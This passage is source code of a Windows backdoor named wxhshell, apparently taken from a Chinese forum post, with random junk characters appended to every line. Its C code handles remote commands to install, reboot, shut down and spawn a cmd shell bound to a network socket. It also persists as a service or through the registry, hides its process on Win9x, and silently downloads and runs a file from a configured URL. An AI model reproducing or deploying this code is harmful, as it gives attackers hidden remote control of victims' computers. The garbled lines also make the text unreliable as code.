    switch(cmd[0]) { n*rXj{Kt  
  [ @9a  
  // 帮助 ,*Wp$  
  case '?': { l0=VE#rFl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xh@;4n  
    break; [E)&dl_k  
  } Mw|lEctN0  
  // 安装 (je`sV  
  case 'i': { 'RZ0,SK'  
    if(Install()) FYIz_GTk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hq?F8 1  
    else (&Mv!6]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _*-b0}T   
    break; EAV6qW\r5]  
    } OlX#1W]  
  // 卸载 ta0;:o?/d  
  case 'r': { S2:G#%EAa  
    if(Uninstall()) 4"#F =f0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :eFyd`Syw  
    else m'WGK`WIm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1pP q)}=+  
    break; 9F7}1cH7g@  
    } Au"BDP  
  // 显示 wxhshell 所在路径 <vd}oiB@  
  case 'p': { eN0lJ~  
    char svExeFile[MAX_PATH]; A`1-c   
    strcpy(svExeFile,"\n\r"); 2/ejU,S  
      strcat(svExeFile,ExeFile); >=/DCQ$  
        send(wsh,svExeFile,strlen(svExeFile),0); )i[K1$x2  
    break; p~OX1RBI  
    } Kh{_BdN  
  // 重启 }ISR +./+  
  case 'b': { )kIjZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kH?PEA! \  
    if(Boot(REBOOT)) 6kO+E5;X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0s6eF+bs  
    else { s8SCEpz  
    closesocket(wsh); zC`ediyu  
    ExitThread(0); tG[v@-O  
    } p+V::O&&r  
    break; F41gMg  
    } H[N~)3x  
  // 关机 c 6/lfgN  
  case 'd': { w:2yFC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xP &@|Ag  
    if(Boot(SHUTDOWN)) c3*9{Il^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A_+*b [P  
    else { o3HS|  
    closesocket(wsh); =z'533C  
    ExitThread(0); 7e /Kh)5G  
    } m}+_z^@j9  
    break; k[\JT[Mp  
    } +'a G{/J  
  // 获取shell -v=tM6  
  case 's': { zwK$ q=-:  
    CmdShell(wsh);  (Kj>Ao  
    closesocket(wsh); Tvw(S q};  
    ExitThread(0); D!D}mPi[  
    break; >Sm#-4B-  
  } Pz-=Eq  
  // 退出 Y{L|ja%9?  
  case 'x': { j&0t!f.Rv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F8B:P7I  
    CloseIt(wsh); \oO &c  
    break; d{DBG}/Yg  
    } Tx/KL%X  
  // 离开 \8`^QgV`@  
  case 'q': { ]o`FF="at  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sVP2$?  
    closesocket(wsh); }TU2o3Q  
    WSACleanup(); [}y"rs`!  
    exit(1); 2Oy-jM  
    break; !&o>zU.  
        } HK<oNr.d52  
  } +N!/>w]n  
  } ||.Ve,<:  
*'R2Lo<C  
  // 提示信息 A{Q~@1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xa[lX8$zL  
} ;+Mr|vweTC  
  } ^7C,GaDsn  
n7d`J_%s  
  return; #4!6pMW(&7  
} BF]+fs`  
IO?6F@(  
// shell模块句柄 ;\t(c  
int CmdShell(SOCKET sock) {1W,-%  
{ "`5BAv;u  
STARTUPINFO si; 7,3v,N|  
ZeroMemory(&si,sizeof(si)); {4b8s%:!4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6}PoBhgSg-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sB`zk[ R;  
PROCESS_INFORMATION ProcessInfo; #NWc<Dd  
char cmdline[]="cmd"; BU;E6s>P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Q9S~YYq  
  return 0; +IfU 5&5<  
} DKqO5e\l8@  
3(La)|k  
// 自身启动模式 _xU2C<)1&  
int StartFromService(void) F% K}&3  
{ 0G/_"} @  
typedef struct z=VL|Du1OT  
{ M \3Zj(E/  
  DWORD ExitStatus; PiwI.c  
  DWORD PebBaseAddress; l&v&a!EU  
  DWORD AffinityMask; :KJZo,\  
  DWORD BasePriority; w\ 7aAf3O  
  ULONG UniqueProcessId; A+F@JpV  
  ULONG InheritedFromUniqueProcessId; z c, Q  
}   PROCESS_BASIC_INFORMATION; d!]_n|B@9  
8p~G)J3U  
PROCNTQSIP NtQueryInformationProcess; wmG[*a_H  
<3c|S_|L*m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1]Gp \P}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p*]nCUs}n  
yTL<S'  
  HANDLE             hProcess; {F+iL&e)  
  PROCESS_BASIC_INFORMATION pbi; %1VfTr5  
~b.e9FhdA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uPtS.j=  
  if(NULL == hInst ) return 0; Vt D:'L-  
w"K;e(S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]pP [0 S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S?Z"){  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4I^8f||b_  
4Fpu68y  
  if (!NtQueryInformationProcess) return 0; o2M4?}TpIV  
|v%xOl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wsLfp82  
  if(!hProcess) return 0; =HkB>w)h  
uKocEWB=/F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w>ap8><4  
&*wc` U  
  CloseHandle(hProcess); )~l`%+  
OwM.N+ z#T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t!,GI&  
if(hProcess==NULL) return 0; Lcpz(W ^  
e[a?5,s2  
HMODULE hMod; #$[}JiuL/  
char procName[255]; Ki:.^  
unsigned long cbNeeded; U}Aoz|  
|}>;wZ[7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >?Ps5n]b  
To"J>:l  
  CloseHandle(hProcess); `<:D.9vO "  
`vPc&.-K  
if(strstr(procName,"services")) return 1; // 以服务启动 7xmif YC  
#n8jn#  
  return 0; // 注册表启动 9(;I+.;8k  
} =icynW^Fr  
\.%GgTF  
// 主模块 {)8!>K%G  
int StartWxhshell(LPSTR lpCmdLine) u`2[V4=L  
{ 9cm9;  
  SOCKET wsl; r g$2)z1  
BOOL val=TRUE; w_hGWpm  
  int port=0; <) ` ?s  
  struct sockaddr_in door; xrPC  
|NZVm}T  
  if(wscfg.ws_autoins) Install(); CF:s@Z+  
5/),HGxi  
port=atoi(lpCmdLine); #K3`$^0 s  
Cd"iaiTD0  
if(port<=0) port=wscfg.ws_port; *uq}jlD`!  
RvPC7,vh  
  WSADATA data; I;<aJo6Yl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D^5bzZk N  
UpU2H4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LPNJuz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C;6Nu W  
  door.sin_family = AF_INET; W_E0+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $C;)Tlh  
  door.sin_port = htons(port); 0;kp`hB  
~ j`; $o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !A\Qwg>  
closesocket(wsl); $bd&$@sA  
return 1; }? W[D  
} Ae0jfTv  
d,_Ky#K5b  
  if(listen(wsl,2) == INVALID_SOCKET) { QD}'2{M!  
closesocket(wsl); v?U;o&L(  
return 1; /8(\AuDT  
} C#r1zr6  
  Wxhshell(wsl); Sl8A=Ez  
  WSACleanup(); BP6|^Q  
E8Jy!8/X9T  
return 0; DO#!ce  
P@m_tA%  
} <R TAO2  
oM&}akPE  
// 以NT服务方式启动 b6FC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) INd:_cT4l  
{ vCf{k  
DWORD   status = 0; <@DF0x!  
  DWORD   specificError = 0xfffffff; ^4WNP  
V6:S<A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \lJCBb+k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6z6\-45  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xH\#:DLY  
  serviceStatus.dwWin32ExitCode     = 0; @2Lp I*]C  
  serviceStatus.dwServiceSpecificExitCode = 0; < )dqv0=  
  serviceStatus.dwCheckPoint       = 0; (9#$za>  
  serviceStatus.dwWaitHint       = 0; _</>`P[  
Z#O )0ou  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e;M#MkP7  
  if (hServiceStatusHandle==0) return; VO (KQx  
KlMSkdmW  
status = GetLastError(); B#>7;xy>  
  if (status!=NO_ERROR) B1x# 7>K  
{ [9wuaw"~[Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xppl6v(  
    serviceStatus.dwCheckPoint       = 0; ^V1.Y  
    serviceStatus.dwWaitHint       = 0; A#yZh\#  
    serviceStatus.dwWin32ExitCode     = status; S,ENbP%0r  
    serviceStatus.dwServiceSpecificExitCode = specificError; EO&PabZWR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W E-cq1)  
    return; [tKH'}/s=  
  } #2/2X v  
f,jN"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V0rS^SAF  
  serviceStatus.dwCheckPoint       = 0; Y#VtZTcT  
  serviceStatus.dwWaitHint       = 0; |61W-9;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]^ e4coC  
} W> +/N4  
s=Cu-.~L  
// 处理NT服务事件,比如:启动、停止 9JDdOjqo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #j+0jFu  
{ _Q**4  
switch(fdwControl) U#qs^f7R  
{ U,tl)(!@Q-  
case SERVICE_CONTROL_STOP: 'lsG?  
  serviceStatus.dwWin32ExitCode = 0; L@|xpq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lpy( un  
  serviceStatus.dwCheckPoint   = 0; =tKb7:KU  
  serviceStatus.dwWaitHint     = 0; ?;bsg 9  
  { [P3].#"]M=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W$>AK_Y}  
  } _^k9!V jo  
  return; 3pk=c-x  
case SERVICE_CONTROL_PAUSE: g'%^-S ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7)i6L'r  
  break; yUyx&Y/  
case SERVICE_CONTROL_CONTINUE: [X\<C '<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f\|R<3 L  
  break; G-DvM6T  
case SERVICE_CONTROL_INTERROGATE: Rxf.@E  
  break; (6Y.|u]bq  
}; 2Hp<(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qy!;RaA3T  
} k-;A9!^h  
(2l?~CaK  
// 标准应用程序主函数 7`G FtX}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $q%l)]+  
{ '",+2=JJ  
pR,eus;8  
// 获取操作系统版本 79bt%P  
OsIsNt=GetOsVer(); H!81Pq~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %8]~+ #]p  
1UwpLd  
  // 从命令行安装 g{U?Y"  
  if(strpbrk(lpCmdLine,"iI")) Install(); DOa%|H'P  
BMJsR0  
  // 下载执行文件 Ltrw)H}  
if(wscfg.ws_downexe) { AnD#k ]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i uGly~  
  WinExec(wscfg.ws_filenam,SW_HIDE); Es^=&2 ''  
} )C^@U&h&  
LV6BSQyQ  
if(!OsIsNt) { b&_u+g  
// 如果时win9x,隐藏进程并且设置为注册表启动 0%b !ARix  
HideProc(); i9O;D*  
StartWxhshell(lpCmdLine); ./r#\X)dc  
} f8 vWN  
else ?Dn 6  
  if(StartFromService()) Tsc2;I  
  // 以服务方式启动 0V!@*Z  
  StartServiceCtrlDispatcher(DispatchTable); D:DtP6  
else rWS],q=c  
  // 普通方式启动 -S6^D/(;  
  StartWxhshell(lpCmdLine); T{B\1|2w  
TMAart; <  
return 0; $?M$^- (e  
}
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只看该作者 1 发表于: 2006-10-10
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